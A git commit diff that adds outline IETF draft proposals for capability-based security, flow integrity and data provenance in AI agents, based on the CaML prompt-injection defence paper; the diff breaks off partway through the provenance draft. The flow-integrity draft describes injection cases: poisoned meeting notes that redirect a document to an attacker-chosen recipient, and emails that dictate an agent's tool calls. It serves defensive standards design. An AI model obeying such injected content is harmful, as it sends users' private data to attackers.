feat: proposal intake pipeline with AI-powered generation on /proposals/new
Add full proposal system: DB schema (proposals + proposal_gaps tables), CLI `ietf intake` command, and web UI with Quick Generate on /proposals/new. The new page merges AI intake (paste URL/text → Haiku generates multiple proposals auto-linked to gaps) with manual form entry. Generated proposals are clickable cards that fill the editor below for refinement. Uses claude_model_cheap (Haiku) for cost-efficient web intake. Includes CaML-inspired draft proposals from arXiv:2503.18813 analysis. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -4,6 +4,25 @@
|
||||
|
||||
---
|
||||
|
||||
### 2026-03-09 SESSION — CaML-Inspired IETF Draft Proposals
|
||||
|
||||
**What**: Created 6 detailed IETF Internet-Draft proposals inspired by Google DeepMind's CaML paper ("Defeating Prompt Injections by Design", arXiv:2503.18813). Cross-referenced all 12 gaps from our analysis to identify where CaML's concepts map to missing standards.
|
||||
|
||||
**Why**: CaML introduces capability-based security for LLM agents — a fundamentally new approach that applies software security principles (CFI, capabilities, information flow control) to AI agent systems. The paper's concepts directly address 11 of our 12 identified gaps, but require multiple distinct standardization efforts.
|
||||
|
||||
**Result**: 7 files in `data/reports/draft-proposals/camel-inspired/` (1,639 lines total):
|
||||
- `00-index.md` — Overview with dependency graph, gap coverage matrix
|
||||
- `01-capability-security-policies.md` — Wire format for capability metadata + policy expressions
|
||||
- `02-control-data-flow-integrity.md` — CFG/DFG specs, emergency halt protocol
|
||||
- `03-data-provenance-tracking.md` — Per-value provenance records, privacy-preserving disclosure
|
||||
- `04-security-policy-federation.md` — Cross-org policy negotiation + liability attribution
|
||||
- `05-privileged-quarantined-execution.md` — Dual-LLM role contracts + behavioral specs
|
||||
- `06-side-channel-mitigation.md` — BCP for agent-specific side-channel risks
|
||||
|
||||
**Surprise**: CaML's Section 6.4 ("when data flow becomes control flow") describes an attack pattern analogous to Return-Oriented Programming — a concept from 2007 applied to AI agents. The convergence of traditional security concepts and AI safety is deeper than expected.
|
||||
|
||||
---
|
||||
|
||||
### 2026-03-08 ANALYST — Pipeline run: authors + gaps refresh
|
||||
|
||||
**What**: Ran the processing pipeline on 474-draft corpus. Fetched authors for 102 previously-unlinked drafts (113 were missing, 11 had Datatracker issues). Re-ran gap analysis with --refresh on the full corpus. Checked idea extraction status.
|
||||
|
||||
79
data/reports/draft-proposals/camel-inspired/00-index.md
Normal file
79
data/reports/draft-proposals/camel-inspired/00-index.md
Normal file
@@ -0,0 +1,79 @@
|
||||
---
|
||||
title: "CaML-Inspired IETF Draft Proposals"
|
||||
source_paper: "Defeating Prompt Injections by Design (arXiv:2503.18813)"
|
||||
source_authors: "Debenedetti, Shumailov, Fan, Hayes, Carlini, Fabian, Kern, Shi, Terzis, Tramèr"
|
||||
date: 2026-03-09
|
||||
status: proposal
|
||||
---
|
||||
|
||||
# CaML-Inspired IETF Draft Proposals
|
||||
|
||||
Six IETF Internet-Draft proposals derived from [Defeating Prompt Injections by Design](https://arxiv.org/abs/2503.18813) (Google DeepMind / ETH Zurich, 2025), cross-referenced with the 12 identified gaps in the IETF AI agent standards landscape.
|
||||
|
||||
## Source Paper: CaML (CApabilities for MachinE Learning)
|
||||
|
||||
CaML proposes a **capability-based security layer** around LLM agents that defeats prompt injection attacks by design, not through model training. Key concepts:
|
||||
|
||||
- **Privileged/Quarantined LLM separation**: planning (trusted) vs. data processing (untrusted)
|
||||
- **Capability tags**: every data value carries provenance (source) and access control (allowed readers)
|
||||
- **Security policies**: Python-expressible per-tool policies checked before execution
|
||||
- **Data flow graph**: tracks dependencies between all variables across tool calls
|
||||
- **Control flow integrity**: prevents untrusted data from influencing execution plans
|
||||
- Evaluated on AgentDojo: 77% task success with **provable** security (vs. 84% undefended)
|
||||
|
||||
## Draft Overview
|
||||
|
||||
| # | Draft Name | Status | Primary Gaps | CaML Section |
|
||||
|---|-----------|--------|-------------|-------------|
|
||||
| 1 | [Capability-Based Security Policies](01-capability-security-policies.md) | outline | #86, #89, #93 | §5.2, §5.3 |
|
||||
| 2 | [Control/Data Flow Integrity](02-control-data-flow-integrity.md) | outline | #85, #88, #89 | §2, §5.4, §6.4 |
|
||||
| 3 | [Data Provenance Tracking Protocol](03-data-provenance-tracking.md) | outline | #84, #88, #93 | §5.3, §5.4 |
|
||||
| 4 | [Security Policy Federation](04-security-policy-federation.md) | outline | #83, #87, #90 | §5.2, §9.1 |
|
||||
| 5 | [Privileged/Quarantined Execution Model](05-privileged-quarantined-execution.md) | outline | #89, #92, #94 | §5.1 |
|
||||
| 6 | [Side-Channel Mitigation Framework](06-side-channel-mitigation.md) | outline | #89, #93 | §7 |
|
||||
|
||||
## Dependency Graph
|
||||
|
||||
```
|
||||
Draft 5 (Execution Model)
|
||||
└─► Draft 1 (Capabilities) ◄── foundational
|
||||
├─► Draft 2 (Flow Integrity)
|
||||
├─► Draft 3 (Provenance)
|
||||
└─► Draft 4 (Policy Federation)
|
||||
└─► Draft 6 (Side Channels) ◄── BCP document
|
||||
```
|
||||
|
||||
**Reading order**: 5 → 1 → 2/3 (parallel) → 4 → 6
|
||||
|
||||
## Gap Coverage Matrix
|
||||
|
||||
| Gap | Topic | Drafts |
|
||||
|-----|-------|--------|
|
||||
| #83 | Cross-org AI agent liability | 4 |
|
||||
| #84 | Real-time explainability | 3 |
|
||||
| #85 | Emergency shutdown coordination | 2 |
|
||||
| #86 | Resource consumption governance | 1 |
|
||||
| #87 | Cross-domain identity federation | 4 |
|
||||
| #88 | Decision audit trail interop | 2, 3 |
|
||||
| #89 | Adversarial agent detection | 1, 2, 5, 6 |
|
||||
| #90 | Capability negotiation protocols | 4 |
|
||||
| #91 | Decentralized model version control | — |
|
||||
| #92 | Ethical decision conflict resolution | 5 (partial) |
|
||||
| #93 | Privacy-preserving A2A communication | 1, 3, 6 |
|
||||
| #94 | Behavioral specification languages | 5 |
|
||||
|
||||
## Relationship to Existing Work
|
||||
|
||||
These drafts **build on** (not compete with) existing IETF work:
|
||||
|
||||
- **WIMSE** (Workload Identity in Multi-System Environments): identity + security context propagation → our capabilities extend this with data-level provenance
|
||||
- **ECT** (Execution Context Tokens): DAG-linked audit records → our provenance tracking is complementary
|
||||
- **MCP** (Model Context Protocol): tool interface standard → our security policies wrap around MCP tool calls
|
||||
- **A2A** (Agent-to-Agent): agent communication → our flow integrity applies to A2A message exchanges
|
||||
- **GNAP/OAuth**: authorization → our policy federation extends authz to data-flow-aware decisions
|
||||
|
||||
## Iteration Tracking
|
||||
|
||||
| Date | Change | Author |
|
||||
|------|--------|--------|
|
||||
| 2026-03-09 | Initial outlines for all 6 drafts | — |
|
||||
@@ -0,0 +1,216 @@
|
||||
---
|
||||
title: "Capability-Based Security Policies for AI Agent Tool Use"
|
||||
draft_name: draft-nennemann-ai-agent-capability-policies-00
|
||||
intended_wg: SECDISPATCH → new WG or WIMSE
|
||||
status: outline
|
||||
gaps_addressed: [86, 89, 93]
|
||||
camel_sections: [5.2, 5.3]
|
||||
date: 2026-03-09
|
||||
---
|
||||
|
||||
# Capability-Based Security Policies for AI Agent Tool Use
|
||||
|
||||
## 1. Problem Statement
|
||||
|
||||
AI agents interact with external tools (APIs, filesystems, messaging services) on behalf of users. Current agent frameworks allow any tool to receive any data, with no mechanism to restrict what an agent can do with a particular piece of information. This leads to:
|
||||
|
||||
- **Data exfiltration**: an agent tricked into sending private data to unauthorized recipients
|
||||
- **Resource abuse**: agents consuming unbounded computational, network, or API resources
|
||||
- **Privacy violations**: sensitive data flowing to tools that should never see it
|
||||
|
||||
CaML (Debenedetti et al., 2025) demonstrates that associating **capabilities** (provenance + access control metadata) with every data value, and checking **security policies** before each tool invocation, can provide provable security guarantees against prompt injection attacks — without modifying the underlying LLM.
|
||||
|
||||
No IETF standard currently defines how capabilities should be represented, propagated, or enforced in AI agent systems.
|
||||
|
||||
## 2. Scope
|
||||
|
||||
This document defines:
|
||||
|
||||
1. A **capability metadata schema** for tagging data values with provenance and access control
|
||||
2. A **security policy expression format** for defining per-tool invocation constraints
|
||||
3. A **policy enforcement protocol** for checking capabilities against policies before tool execution
|
||||
4. Integration points with existing authorization frameworks (OAuth 2.0, GNAP, WIMSE)
|
||||
|
||||
Out of scope:
|
||||
|
||||
- The internal architecture of the agent (Dual-LLM vs. single LLM)
|
||||
- Specific tool implementations
|
||||
- Model training or fine-tuning requirements
|
||||
|
||||
## 3. Key Concepts from CaML
|
||||
|
||||
### 3.1 Capabilities
|
||||
|
||||
From CaML §5.3: Capabilities are tags assigned to each value describing:
|
||||
|
||||
- **Sources**: where the data came from (user input, specific tool, LLM transformation)
|
||||
- **Readers**: who is allowed to access the data (public, specific users/email addresses, specific tools)
|
||||
|
||||
CaML's implementation tracks:
|
||||
- `User` provenance (literals from trusted user query)
|
||||
- `CaMeL` provenance (results of interpreter transformations)
|
||||
- Tool-specific provenance (identified by unique tool invocation ID)
|
||||
- Inner sources (e.g., the sender of an email retrieved by `read_email`)
|
||||
|
||||
### 3.2 Security Policies
|
||||
|
||||
From CaML §5.2: Security policies are functions that take a tool name and its arguments (with capability metadata) and return `Allowed` or `Denied`. Example (from CaML Figure 6):
|
||||
|
||||
```
|
||||
# Calendar event: title/description must be readable by participants,
|
||||
# OR all participants must come from user (trusted source)
|
||||
if is_trusted(participants):
|
||||
return Allowed()
|
||||
if not can_readers_read_value(participants_set, kwargs["title"]):
|
||||
return Denied("Title is not readable by participants")
|
||||
```
|
||||
|
||||
Policies can be:
|
||||
- **Global**: apply to all tools (e.g., "never send PII to external services")
|
||||
- **Per-tool**: specific to one tool (e.g., `send_email` requires recipient to be able to read body)
|
||||
- **Contextual**: depend on runtime state
|
||||
|
||||
## 4. Proposed Wire Format
|
||||
|
||||
### 4.1 Capability Metadata Object
|
||||
|
||||
```json
|
||||
{
|
||||
"cap:version": "1.0",
|
||||
"cap:value_id": "val-2f8a3c",
|
||||
"cap:sources": [
|
||||
{
|
||||
"type": "user",
|
||||
"trust_level": "trusted"
|
||||
},
|
||||
{
|
||||
"type": "tool",
|
||||
"tool_id": "read_email",
|
||||
"invocation_id": "inv-9d2e1f",
|
||||
"inner_source": "sender:bob@example.com"
|
||||
}
|
||||
],
|
||||
"cap:readers": {
|
||||
"type": "set",
|
||||
"members": ["user", "bob@example.com"]
|
||||
},
|
||||
"cap:transformations": [
|
||||
{
|
||||
"type": "llm_extraction",
|
||||
"model_role": "quarantined",
|
||||
"input_values": ["val-1a2b3c"],
|
||||
"timestamp": "2026-03-09T14:30:00Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 Security Policy Definition
|
||||
|
||||
```json
|
||||
{
|
||||
"policy:version": "1.0",
|
||||
"policy:id": "pol-send-email",
|
||||
"policy:tool": "send_email",
|
||||
"policy:rules": [
|
||||
{
|
||||
"description": "Recipient must come from user or be readable by all other param sources",
|
||||
"check": "sources_trusted_or_readers_match",
|
||||
"params": ["recipient"],
|
||||
"against": ["body", "subject", "attachments"]
|
||||
},
|
||||
{
|
||||
"description": "Attachments must be readable by recipient",
|
||||
"check": "readers_include",
|
||||
"params": ["attachments"],
|
||||
"must_include": "{{recipient}}"
|
||||
}
|
||||
],
|
||||
"policy:on_violation": "deny_with_user_prompt"
|
||||
}
|
||||
```
|
||||
|
||||
### 4.3 Policy Evaluation Result
|
||||
|
||||
```json
|
||||
{
|
||||
"result": "denied",
|
||||
"policy_id": "pol-send-email",
|
||||
"rule_index": 1,
|
||||
"reason": "Attachment 'confidential.txt' sources=[tool:cloud_storage] readers=[user, file_editors] — recipient 'attacker@evil.com' not in readers",
|
||||
"remediation": "user_approval_required"
|
||||
}
|
||||
```
|
||||
|
||||
## 5. Protocol Flow
|
||||
|
||||
```
|
||||
User Query
|
||||
│
|
||||
▼
|
||||
┌──────────────┐
|
||||
│ Agent Planner │ (Privileged — sees only user query)
|
||||
│ generates plan│
|
||||
└──────┬───────┘
|
||||
│ plan = [(tool₁, args₁), (tool₂, args₂), ...]
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ Capability Engine │ (Interpreter / orchestrator)
|
||||
│ │
|
||||
│ For each step: │
|
||||
│ 1. Execute tool │
|
||||
│ 2. Tag result │──► Capability metadata attached
|
||||
│ with caps │
|
||||
│ 3. Check policy │──► Policy evaluation
|
||||
│ before next │ ├─► Allowed → proceed
|
||||
│ tool call │ ├─► Denied → halt + explain
|
||||
│ 4. Propagate │ └─► User prompt → ask user
|
||||
│ caps through │
|
||||
│ transforms │
|
||||
└──────────────────┘
|
||||
```
|
||||
|
||||
## 6. Integration Points
|
||||
|
||||
### 6.1 With WIMSE / ECT
|
||||
|
||||
- Capability `sources` map to WIMSE workload identities
|
||||
- Policy evaluation results can be recorded as ECT claims
|
||||
- Trust domain boundaries in WIMSE correspond to capability reader boundaries
|
||||
|
||||
### 6.2 With MCP (Model Context Protocol)
|
||||
|
||||
- MCP tool definitions extended with `required_capabilities` field
|
||||
- MCP tool results extended with `capability_metadata` field
|
||||
- MCP servers can declare their security policies
|
||||
|
||||
### 6.3 With OAuth 2.0 / GNAP
|
||||
|
||||
- OAuth scopes are coarse-grained (per-API); capabilities are fine-grained (per-value)
|
||||
- Capability `readers` can reference OAuth client IDs or GNAP access tokens
|
||||
- Policy enforcement complements (not replaces) OAuth authorization
|
||||
|
||||
## 7. Security Considerations
|
||||
|
||||
- Capability metadata must be integrity-protected (signed) to prevent tampering
|
||||
- Policy definitions must come from a trusted source (the platform, not the agent)
|
||||
- Capability propagation through LLM transformations is inherently lossy — conservative defaults required
|
||||
- Side-channel leakage through policy denial patterns (see Draft 6)
|
||||
|
||||
## 8. Open Questions
|
||||
|
||||
1. **Granularity**: per-value capabilities (CaML) vs. per-message capabilities — performance tradeoff?
|
||||
2. **Composability**: how do capabilities compose when data from multiple sources is merged?
|
||||
3. **Delegation**: can an agent delegate capabilities to sub-agents?
|
||||
4. **Revocation**: how are capabilities revoked when trust relationships change?
|
||||
5. **Policy conflict resolution**: when multiple policies apply, which wins?
|
||||
|
||||
## 9. References
|
||||
|
||||
- Debenedetti et al. "Defeating Prompt Injections by Design." arXiv:2503.18813, 2025.
|
||||
- Needham & Walker. "The Cambridge CAP computer and its protection system." ACM SIGOPS, 1977.
|
||||
- Watson et al. "Capsicum: Practical Capabilities for UNIX." USENIX Security 10, 2010.
|
||||
- Watson et al. "CHERI: A hybrid capability-system architecture." IEEE S&P, 2015.
|
||||
- Morgan. "libcap: POSIX capabilities support for Linux." 2013.
|
||||
- draft-ietf-wimse-arch (WIMSE architecture)
|
||||
- draft-nennemann-wimse-ect (Execution Context Tokens)
|
||||
@@ -0,0 +1,258 @@
|
||||
---
|
||||
title: "Control Flow and Data Flow Integrity for Multi-Agent Systems"
|
||||
draft_name: draft-nennemann-ai-agent-flow-integrity-00
|
||||
intended_wg: SECDISPATCH → new WG
|
||||
status: outline
|
||||
gaps_addressed: [85, 88, 89]
|
||||
camel_sections: [2, 5.4, 6.4, 7]
|
||||
date: 2026-03-09
|
||||
---
|
||||
|
||||
# Control Flow and Data Flow Integrity for Multi-Agent Systems
|
||||
|
||||
## 1. Problem Statement
|
||||
|
||||
AI agent systems have two distinct attack surfaces that are often conflated:
|
||||
|
||||
1. **Control flow attacks**: an adversary changes *which* tools the agent calls or *in what order*
|
||||
2. **Data flow attacks**: an adversary changes *what data* is passed to tools, without altering the sequence of tool calls
|
||||
|
||||
CaML (Debenedetti et al., 2025) demonstrates that protecting only control flow (as the Dual-LLM pattern does) is insufficient. Even when an adversary cannot change the plan, they can manipulate the *data flowing through the plan* — analogous to SQL injection where the query structure is unchanged but parameters are manipulated.
|
||||
|
||||
In multi-agent systems, this problem is amplified: data flows across organizational boundaries, through multiple agent hops, and the distinction between control flow and data flow can blur entirely (CaML §6.4: "when data flow becomes control flow").
|
||||
|
||||
No IETF standard addresses control flow integrity or data flow integrity for AI agent systems.
|
||||
|
||||
## 2. Scope
|
||||
|
||||
This document defines:
|
||||
|
||||
1. **Control Flow Graph (CFG)** representation for agent execution plans
|
||||
2. **Data Flow Graph (DFG)** representation for tracking data dependencies
|
||||
3. **Integrity verification** mechanisms for both graphs
|
||||
4. **Emergency halt protocol** when integrity violations are detected
|
||||
5. **Interoperable audit format** for recording flow integrity events
|
||||
|
||||
## 3. Key Insights from CaML
|
||||
|
||||
### 3.1 The Dual Attack Surface
|
||||
|
||||
CaML §2 shows that agent actions have both a control flow and a data flow. Consider:
|
||||
|
||||
```
|
||||
1. Find meeting notes (control: tool selection)
|
||||
2. Extract email + doc name (data: from untrusted content)
|
||||
3. Fetch document by name (data: attacker-chosen filename)
|
||||
4. Send document to email (data: attacker-chosen recipient)
|
||||
```
|
||||
|
||||
A prompt injection in the meeting notes can change steps 2-4's *data* without changing the *plan*. The control flow is correct; the data flow is hijacked.
|
||||
|
||||
### 3.2 Data Flow Becomes Control Flow (§6.4)
|
||||
|
||||
CaML identifies a critical escalation: when an agent is instructed to "monitor emails and execute the action described in each email", the email content *becomes* the control flow. An attacker can send emails that dictate arbitrary tool sequences. This is analogous to **Return-Oriented Programming (ROP)** in traditional security.
|
||||
|
||||
### 3.3 Dependency Graph Tracking (§5.4)
|
||||
|
||||
CaML's interpreter maintains a complete dependency graph:
|
||||
|
||||
- For `c = a + b`, variable `c` depends on both `a` and `b`
|
||||
- For control flow (`if`/`for`), in STRICT mode, all statements in the block depend on the condition
|
||||
- This enables security policy checks: "does this tool argument transitively depend on untrusted data?"
|
||||
|
||||
## 4. Control Flow Graph Specification
|
||||
|
||||
### 4.1 CFG Representation
|
||||
|
||||
```json
|
||||
{
|
||||
"cfg:version": "1.0",
|
||||
"cfg:plan_id": "plan-4a7b2c",
|
||||
"cfg:origin": "privileged_planner",
|
||||
"cfg:steps": [
|
||||
{
|
||||
"step_id": "s1",
|
||||
"tool": "search_notes",
|
||||
"args_template": {"query": "meeting notes"},
|
||||
"successors": ["s2"],
|
||||
"trust_level": "privileged"
|
||||
},
|
||||
{
|
||||
"step_id": "s2",
|
||||
"tool": "extract_fields",
|
||||
"args_template": {"fields": ["email", "doc_name"]},
|
||||
"data_deps": ["s1.result"],
|
||||
"successors": ["s3", "s4"],
|
||||
"trust_level": "quarantined"
|
||||
}
|
||||
],
|
||||
"cfg:integrity": {
|
||||
"algorithm": "sha256",
|
||||
"signature": "...",
|
||||
"signer": "privileged_planner_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 CFG Integrity Properties
|
||||
|
||||
1. **Immutability**: once the plan is generated by a privileged planner, the step sequence cannot be altered by data processing
|
||||
2. **Signed origin**: the CFG must be signed by the trusted planner component
|
||||
3. **No dynamic expansion**: untrusted data cannot add new steps to the plan (prevents ROP-style attacks)
|
||||
|
||||
## 5. Data Flow Graph Specification
|
||||
|
||||
### 5.1 DFG Representation
|
||||
|
||||
```json
|
||||
{
|
||||
"dfg:version": "1.0",
|
||||
"dfg:plan_id": "plan-4a7b2c",
|
||||
"dfg:nodes": [
|
||||
{
|
||||
"node_id": "val-email",
|
||||
"produced_by": "s2",
|
||||
"depends_on": ["s1.result"],
|
||||
"trust_classification": "untrusted",
|
||||
"capability_ref": "cap-2f8a3c"
|
||||
},
|
||||
{
|
||||
"node_id": "val-doc",
|
||||
"produced_by": "s3",
|
||||
"depends_on": ["val-doc_name"],
|
||||
"trust_classification": "untrusted",
|
||||
"capability_ref": "cap-7e9d1f"
|
||||
}
|
||||
],
|
||||
"dfg:edges": [
|
||||
{"from": "s1.result", "to": "val-email", "type": "extraction"},
|
||||
{"from": "val-email", "to": "s4.args.recipient", "type": "argument_binding"}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 DFG Integrity Properties
|
||||
|
||||
1. **Provenance tracking**: every value in the DFG carries its full dependency chain
|
||||
2. **Trust boundary marking**: values crossing from trusted to untrusted contexts are explicitly labeled
|
||||
3. **Taint propagation**: if any dependency is untrusted, the derived value is untrusted (conservative)
|
||||
4. **STRICT mode**: control flow conditions add dependencies to all values in their scope
|
||||
|
||||
## 6. Integrity Verification
|
||||
|
||||
### 6.1 Pre-Execution Checks
|
||||
|
||||
Before each tool invocation, the enforcement engine verifies:
|
||||
|
||||
1. The tool invocation matches the signed CFG (control flow integrity)
|
||||
2. All arguments' data flow paths are within policy bounds (data flow integrity)
|
||||
3. No untrusted data has been promoted to trusted without explicit user approval
|
||||
|
||||
### 6.2 Cross-Agent Flow Integrity
|
||||
|
||||
When agents communicate (e.g., via A2A protocol):
|
||||
|
||||
```
|
||||
Agent A (Org 1) Agent B (Org 2)
|
||||
┌─────────────┐ ┌─────────────┐
|
||||
│ Plan: s1→s2 │ ──message────► │ Plan: s3→s4 │
|
||||
│ DFG attached │ with DFG │ DFG merged │
|
||||
└─────────────┘ metadata └─────────────┘
|
||||
```
|
||||
|
||||
- Outbound messages carry DFG provenance metadata
|
||||
- Receiving agents extend (not replace) the DFG with new dependencies
|
||||
- Trust boundaries are preserved across agent hops
|
||||
|
||||
## 7. Emergency Halt Protocol
|
||||
|
||||
*Directly addresses Gap #85: Emergency shutdown coordination across agent networks.*
|
||||
|
||||
When a flow integrity violation is detected:
|
||||
|
||||
### 7.1 Violation Severity Levels
|
||||
|
||||
| Level | Condition | Action |
|
||||
|-------|-----------|--------|
|
||||
| `warning` | Untrusted data flowing to low-risk tool | Log + continue |
|
||||
| `halt` | Untrusted data flowing to state-changing tool | Block tool call + prompt user |
|
||||
| `emergency` | Data-flow-becomes-control-flow detected | Halt all agents in the plan + notify operators |
|
||||
| `cascade_stop` | Integrity violation in multi-agent pipeline | Propagate halt signal to all connected agents |
|
||||
|
||||
### 7.2 Cascade Halt Message
|
||||
|
||||
```json
|
||||
{
|
||||
"halt:version": "1.0",
|
||||
"halt:plan_id": "plan-4a7b2c",
|
||||
"halt:severity": "cascade_stop",
|
||||
"halt:trigger": {
|
||||
"step_id": "s4",
|
||||
"violation": "untrusted_data_as_control_flow",
|
||||
"evidence": {
|
||||
"tainted_value": "val-email-body",
|
||||
"became_control": "tool_selection"
|
||||
}
|
||||
},
|
||||
"halt:affected_agents": ["agent-a@org1", "agent-b@org2"],
|
||||
"halt:timestamp": "2026-03-09T14:35:22Z",
|
||||
"halt:preserve_state": true
|
||||
}
|
||||
```
|
||||
|
||||
### 7.3 Recovery
|
||||
|
||||
After an emergency halt:
|
||||
|
||||
1. All affected agents freeze execution state (no rollback by default)
|
||||
2. Human operators receive the full CFG + DFG with violation highlighted
|
||||
3. Operators can: approve (override), modify plan, or terminate
|
||||
4. State is preserved for forensic analysis
|
||||
|
||||
## 8. Audit Format for Flow Events
|
||||
|
||||
*Addresses Gap #88: Decision audit trail interoperability.*
|
||||
|
||||
Every flow integrity event is logged in a standardized format:
|
||||
|
||||
```json
|
||||
{
|
||||
"audit:event_type": "policy_check",
|
||||
"audit:plan_id": "plan-4a7b2c",
|
||||
"audit:step_id": "s4",
|
||||
"audit:tool": "send_email",
|
||||
"audit:cfg_valid": true,
|
||||
"audit:dfg_check": {
|
||||
"args_checked": ["recipient", "body", "subject"],
|
||||
"tainted_args": ["recipient"],
|
||||
"taint_chain": ["s1.result → s2.extract → val-email"],
|
||||
"policy_result": "denied"
|
||||
},
|
||||
"audit:timestamp": "2026-03-09T14:35:22Z",
|
||||
"audit:agent_id": "agent-a@org1"
|
||||
}
|
||||
```
|
||||
|
||||
Compatible with ECT (Execution Context Tokens) for DAG-linked audit chains.
|
||||
|
||||
## 9. Security Considerations
|
||||
|
||||
- CFG signatures must use strong cryptography (not just hashing)
|
||||
- DFG tracking has overhead proportional to plan complexity — bounded by maximum plan depth
|
||||
- STRICT mode (all statements in control flow blocks inherit condition's dependencies) is more secure but reduces utility
|
||||
- ROP-style attacks (composing allowed operations into malicious sequences) remain a risk even with flow integrity
|
||||
|
||||
## 10. Open Questions
|
||||
|
||||
1. **Dynamic plans**: some agents need to adapt plans based on intermediate results. How to maintain CFG integrity while allowing legitimate plan modification?
|
||||
2. **DFG size**: for long-running agents, the DFG can grow large. Pruning strategies?
|
||||
3. **Cross-protocol**: how does flow integrity metadata translate between MCP, A2A, and other protocols?
|
||||
4. **Performance**: real-time DFG tracking overhead in latency-sensitive applications?
|
||||
|
||||
## 11. References
|
||||
|
||||
- Debenedetti et al. "Defeating Prompt Injections by Design." arXiv:2503.18813, 2025.
|
||||
- Abadi et al. "Control-flow integrity principles, implementations, and applications." ACM TISSEC, 2009.
|
||||
- Denning & Denning. "Certification of programs for secure information flow." CACM, 1977.
|
||||
- Willison. "The Dual LLM pattern for building AI assistants." 2023.
|
||||
- Shacham. "The geometry of innocent flesh on the bone: ROP." ACM CCS, 2007.
|
||||
@@ -0,0 +1,268 @@
|
||||
---
|
||||
title: "Data Provenance Tracking Protocol for AI Agent Communications"
|
||||
draft_name: draft-nennemann-ai-agent-provenance-00
|
||||
intended_wg: SECDISPATCH or WIMSE
|
||||
status: outline
|
||||
gaps_addressed: [84, 88, 93]
|
||||
camel_sections: [5.3, 5.4]
|
||||
date: 2026-03-09
|
||||
---
|
||||
|
||||
# Data Provenance Tracking Protocol for AI Agent Communications
|
||||
|
||||
## 1. Problem Statement
|
||||
|
||||
When AI agents process data through multi-step tool-calling pipelines, the **origin and transformation history** of each piece of data is lost. This creates three critical problems:
|
||||
|
||||
1. **No explainability** (Gap #84): when an agent makes a decision, there is no standard way to trace *which data influenced it* and *where that data came from* in real time
|
||||
2. **Incompatible audit trails** (Gap #88): different agent platforms log decisions in incompatible formats, making cross-system forensics impossible
|
||||
3. **Privacy leakage** (Gap #93): without provenance tracking, agents cannot enforce data handling policies — private training data, user interactions, and proprietary algorithms may leak through tool calls
|
||||
|
||||
CaML demonstrates that tracking provenance at the **individual value level** (not just the message level) is both feasible and essential for security. Every variable in CaML's interpreter carries metadata about its sources and allowed readers.
|
||||
|
||||
## 2. Scope
|
||||
|
||||
This document defines:
|
||||
|
||||
1. A **provenance record format** for tracking data origin and transformation chains
|
||||
2. A **provenance propagation protocol** for maintaining provenance across agent boundaries
|
||||
3. A **provenance query interface** for real-time explainability
|
||||
4. **Privacy constraints** on provenance metadata itself
|
||||
|
||||
## 3. Provenance Model
|
||||
|
||||
### 3.1 Provenance Record
|
||||
|
||||
Every data value in an agent system carries a provenance record:
|
||||
|
||||
```json
|
||||
{
|
||||
"prov:id": "prov-8c3a2d",
|
||||
"prov:value_ref": "val-email-body",
|
||||
"prov:origin": {
|
||||
"type": "tool_output",
|
||||
"tool": "read_email",
|
||||
"invocation_id": "inv-4f2a1b",
|
||||
"agent_id": "agent-a@org1.example",
|
||||
"timestamp": "2026-03-09T14:30:00Z",
|
||||
"inner_sources": [
|
||||
{
|
||||
"type": "external_entity",
|
||||
"identifier": "sender:bob@example.com",
|
||||
"trust_level": "untrusted"
|
||||
}
|
||||
]
|
||||
},
|
||||
"prov:transformations": [
|
||||
{
|
||||
"type": "llm_extraction",
|
||||
"model_role": "quarantined",
|
||||
"operation": "extract_email_address",
|
||||
"input_provenance": ["prov-7b2a1c"],
|
||||
"timestamp": "2026-03-09T14:30:01Z"
|
||||
}
|
||||
],
|
||||
"prov:classification": {
|
||||
"trust_level": "untrusted",
|
||||
"sensitivity": "pii",
|
||||
"readers": ["user", "bob@example.com"]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 Origin Types
|
||||
|
||||
| Origin Type | Description | Trust Default |
|
||||
|-------------|-------------|---------------|
|
||||
| `user_input` | Directly from the authenticated user's query | trusted |
|
||||
| `tool_output` | Returned by a tool invocation | depends on tool |
|
||||
| `llm_generation` | Generated by an LLM (P-LLM or Q-LLM) | depends on role |
|
||||
| `literal` | Hardcoded in the execution plan | trusted |
|
||||
| `external_entity` | Inner source within tool data (e.g., email sender) | untrusted |
|
||||
| `derived` | Computed from other values | min(input trust levels) |
|
||||
|
||||
### 3.3 Transformation Types
|
||||
|
||||
| Transform Type | Description | Provenance Effect |
|
||||
|---------------|-------------|-------------------|
|
||||
| `llm_extraction` | Q-LLM parses unstructured → structured | inherits all input provenance |
|
||||
| `computation` | Deterministic operation (concat, filter) | union of input provenance |
|
||||
| `aggregation` | Multiple values combined | union of all input provenance |
|
||||
| `user_approval` | User explicitly approved a value | upgrades trust to "user_approved" |
|
||||
| `redaction` | Sensitive content removed | may upgrade trust classification |
|
||||
|
||||
## 4. Propagation Protocol
|
||||
|
||||
### 4.1 Intra-Agent Propagation
|
||||
|
||||
Within a single agent, the execution engine (interpreter) maintains provenance automatically:
|
||||
|
||||
```
|
||||
val_a = tool_1() → prov: {origin: tool_1}
|
||||
val_b = tool_2() → prov: {origin: tool_2}
|
||||
val_c = extract(val_a) → prov: {origin: tool_1, transform: extraction}
|
||||
val_d = combine(val_b, c) → prov: {origin: [tool_1, tool_2], transform: computation}
|
||||
```
|
||||
|
||||
**Rule**: derived values inherit the **union** of all input provenances and the **minimum** trust level.
|
||||
|
||||
### 4.2 Inter-Agent Propagation
|
||||
|
||||
When data crosses agent boundaries (via A2A, HTTP, message queues):
|
||||
|
||||
```
|
||||
Agent A Agent B
|
||||
┌──────────┐ ┌──────────┐
|
||||
│ val_d │ │ │
|
||||
│ prov: { │ ──── message ────► │ val_e │
|
||||
│ A's │ with provenance │ prov: { │
|
||||
│ chain │ header/metadata │ A's chain + │
|
||||
│ } │ │ hop record │
|
||||
└──────────┘ │ } │
|
||||
└──────────┘
|
||||
```
|
||||
|
||||
Provenance headers in inter-agent messages:
|
||||
|
||||
```http
|
||||
POST /agent-b/task HTTP/1.1
|
||||
Content-Type: application/json
|
||||
X-Agent-Provenance: eyJwcm92OmlkIjoicHJvdi04YzNhMmQi... (base64-encoded provenance chain)
|
||||
X-Agent-Provenance-Signature: <signed by agent A>
|
||||
```
|
||||
|
||||
Or as a structured field in A2A messages:
|
||||
|
||||
